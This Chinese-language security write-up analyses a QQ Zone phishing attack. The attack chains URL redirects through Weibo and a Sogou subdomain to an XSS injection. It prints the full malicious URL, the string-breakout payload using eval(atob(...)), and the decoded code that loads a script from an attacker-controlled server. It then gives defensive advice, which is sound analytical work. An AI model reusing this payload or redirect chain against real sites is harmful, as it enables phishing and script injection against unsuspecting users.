基于URL跳转与XSS组合利用的钓鱼分析(以QQ空间某恶意链接为例)
字数 1449 2025-08-25 22:58:28

基于URL跳转与XSS组合利用的钓鱼攻击分析

攻击概述

本文分析了一种针对QQ空间的组合式钓鱼攻击技术,攻击者通过精心构造的恶意URL,利用多个知名网站的白名单信任链,最终实现JavaScript代码注入。这种攻击结合了URL跳转、参数注入和XSS技术,具有较高的隐蔽性和欺骗性。

攻击链分析

1. 初始恶意URL结构

攻击者构造的原始恶意URL如下:

http://open.qzone.qq.com/url_check?url=https%3A%2F%2Fweibo.cn%2Fsinaurl%3F_wv%3D1027%26cmd%3Dplay%26u%3Dhttp%253A%252F%252Fsubdomain.sogou.com%252Fct%253Fid%253D1025611%2526h%253D333%2526w%253D33336%2526fv%253D32%2526if%253D16%2526sohuurl%253Dhttps%25253A%25252F%25252Fnews.china.com%25252Ft_we1561734359ZWl0ZQ.html%2526bs%253D1423%252C794%252522%257D%257D%25250a%253Beval%2528atob%2528%252522ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vbS5qcXVlcnkua2ltOjgwOTAvd2ViL2lmLnBocD8xMjMnPjwvc2NyaXB0PiIp%252522%2529%2529%253B%25250aif%2528O%2529%257Bif%2528B%2529%257B%2525221%2526tmp_cdif%253D0%2526mi%253D0%2526m%253DMTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA%2526ex%253D%2526glx%253D0%2526r%253D1561734359%2526business%253D%2523123&cmd=play&_wv=2098179#123

2. URL解码与美化

解码后的URL结构更清晰:

http://open.qzone.qq.com/url_check?url=https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=http://subdomain.sogou.com/ct?id=1025611&h=333&w=33336&fv=32&if=16&sohuurl=https%3A%2F%2Fnews.china.com%2Ft_we1561734359ZWl0ZQ.html&bs=1423,794%22}}%0a;eval(atob("document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")"));%0aif(O){if(B){%221&tmp_cdif=0&mi=0&m=MTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA&ex=&glx=0&r=1561734359&business=#123&cmd=play&_wv=2098179#123

3. 跳转流程分析

完整的攻击跳转链如下:

  1. QQ空间URL检查服务open.qzone.qq.com/url_check

    • 这是QQ空间提供的URL安全检查服务,用于验证外部链接的安全性
  2. 微博链接分享weibo.cn/sinaurl

    • 攻击者利用微博作为中间跳板,利用微博在QQ白名单中的信任关系
  3. 搜狗某子域名subdomain.sogou.com/ct

    • 最终的攻击目标,存在JavaScript注入漏洞

漏洞利用技术细节

1. 注入点分析

在搜狗子域名的请求参数中,bs参数存在未经过滤的直接拼接:

&bs=1423,794%22}}%0a;eval(atob("document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")"));%0aif(O){if(B){%221

攻击者通过bs参数:

  1. 闭合原有的JavaScript字符串和代码块(使用"}}
  2. 插入换行符(%0a
  3. 执行Base64解码的恶意代码(eval(atob(...))
  4. 重新闭合后续代码(if(O){if(B){"1

2. 恶意载荷分析

Base64解码后的恶意代码:

document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")

这段代码会动态加载一个位于攻击者控制的服务器上的JavaScript文件。

3. 防御规避技术

攻击者使用了多种技术来规避检测:

  1. 白名单跳转链:利用QQ信任微博、微博信任搜狗的信任关系
  2. 参数伪装:使用sohuurl等看似合法的参数使请求看起来正常
  3. 条件性攻击:后端检测Referer或User-Agent,仅对特定设备或来源实施攻击
  4. 错误页面伪装:对不符合条件的访问者重定向到腾讯的禁止访问页面

攻击传播机制

虽然文档中没有明确说明传播方式,但推测可能通过以下途径:

  1. QQ空间CSRF漏洞:利用跨站请求伪造让用户自动转发恶意内容
  2. 社交工程:诱骗用户点击看似有趣的链接
  3. 自动传播脚本:通过已感染的账户自动向好友发送恶意链接

安全防护建议

1. 对开发者的建议

  1. 输入过滤:对所有用户可控的参数进行严格过滤,特别是会拼接到JavaScript代码中的参数
  2. 输出编码:在将用户输入输出到页面时进行适当的编码
  3. CSP策略:实施严格的内容安全策略,限制外部脚本加载
  4. 白名单验证:不仅验证直接跳转目标,还应验证整个跳转链

2. 对普通用户的建议

  1. 谨慎点击不明链接,特别是短链接或经过多次跳转的链接
  2. 注意浏览器地址栏的变化,警惕最终跳转到的非预期域名
  3. 保持浏览器和安全软件更新

技术延伸:白名单链式攻击

这种攻击展示了"白名单链式攻击"的风险模式:

A(QQ) → B(微博) → C(搜狗)

  • A信任B,B信任C
  • 当C存在漏洞时,攻击者可以利用B作为跳板攻击A的用户
  • 这种攻击难以通过单一环节的防御完全阻止

防御这种攻击需要:

  1. 对白名单中的每个环节进行安全评估
  2. 实施链式验证机制
  3. 监控异常跳转模式

总结

本案例展示了一种高级的组合式钓鱼攻击技术,通过分析我们可以学习到:

  1. 现代Web攻击往往结合多种技术手段
  2. 信任链可能成为攻击者的利用工具
  3. 输入过滤不严格可能导致严重后果
  4. 安全防御需要多层次、多维度的策略

这种攻击方式至今仍然有效,说明Web安全防御仍然面临严峻挑战。

基于URL跳转与XSS组合利用的钓鱼攻击分析 攻击概述 本文分析了一种针对QQ空间的组合式钓鱼攻击技术,攻击者通过精心构造的恶意URL,利用多个知名网站的白名单信任链,最终实现JavaScript代码注入。这种攻击结合了URL跳转、参数注入和XSS技术,具有较高的隐蔽性和欺骗性。 攻击链分析 1. 初始恶意URL结构 攻击者构造的原始恶意URL如下: 2. URL解码与美化 解码后的URL结构更清晰: 3. 跳转流程分析 完整的攻击跳转链如下: QQ空间URL检查服务 : open.qzone.qq.com/url_check 这是QQ空间提供的URL安全检查服务,用于验证外部链接的安全性 微博链接分享 : weibo.cn/sinaurl 攻击者利用微博作为中间跳板,利用微博在QQ白名单中的信任关系 搜狗某子域名 : subdomain.sogou.com/ct 最终的攻击目标,存在JavaScript注入漏洞 漏洞利用技术细节 1. 注入点分析 在搜狗子域名的请求参数中, bs 参数存在未经过滤的直接拼接: 攻击者通过 bs 参数: 闭合原有的JavaScript字符串和代码块(使用 "}} ) 插入换行符( %0a ) 执行Base64解码的恶意代码( eval(atob(...)) ) 重新闭合后续代码( if(O){if(B){"1 ) 2. 恶意载荷分析 Base64解码后的恶意代码: 这段代码会动态加载一个位于攻击者控制的服务器上的JavaScript文件。 3. 防御规避技术 攻击者使用了多种技术来规避检测: 白名单跳转链 :利用QQ信任微博、微博信任搜狗的信任关系 参数伪装 :使用 sohuurl 等看似合法的参数使请求看起来正常 条件性攻击 :后端检测Referer或User-Agent,仅对特定设备或来源实施攻击 错误页面伪装 :对不符合条件的访问者重定向到腾讯的禁止访问页面 攻击传播机制 虽然文档中没有明确说明传播方式,但推测可能通过以下途径: QQ空间CSRF漏洞 :利用跨站请求伪造让用户自动转发恶意内容 社交工程 :诱骗用户点击看似有趣的链接 自动传播脚本 :通过已感染的账户自动向好友发送恶意链接 安全防护建议 1. 对开发者的建议 输入过滤 :对所有用户可控的参数进行严格过滤,特别是会拼接到JavaScript代码中的参数 输出编码 :在将用户输入输出到页面时进行适当的编码 CSP策略 :实施严格的内容安全策略,限制外部脚本加载 白名单验证 :不仅验证直接跳转目标,还应验证整个跳转链 2. 对普通用户的建议 谨慎点击不明链接,特别是短链接或经过多次跳转的链接 注意浏览器地址栏的变化,警惕最终跳转到的非预期域名 保持浏览器和安全软件更新 技术延伸:白名单链式攻击 这种攻击展示了"白名单链式攻击"的风险模式: A(QQ) → B(微博) → C(搜狗) A信任B,B信任C 当C存在漏洞时,攻击者可以利用B作为跳板攻击A的用户 这种攻击难以通过单一环节的防御完全阻止 防御这种攻击需要: 对白名单中的每个环节进行安全评估 实施链式验证机制 监控异常跳转模式 总结 本案例展示了一种高级的组合式钓鱼攻击技术,通过分析我们可以学习到: 现代Web攻击往往结合多种技术手段 信任链可能成为攻击者的利用工具 输入过滤不严格可能导致严重后果 安全防御需要多层次、多维度的策略 这种攻击方式至今仍然有效,说明Web安全防御仍然面临严峻挑战。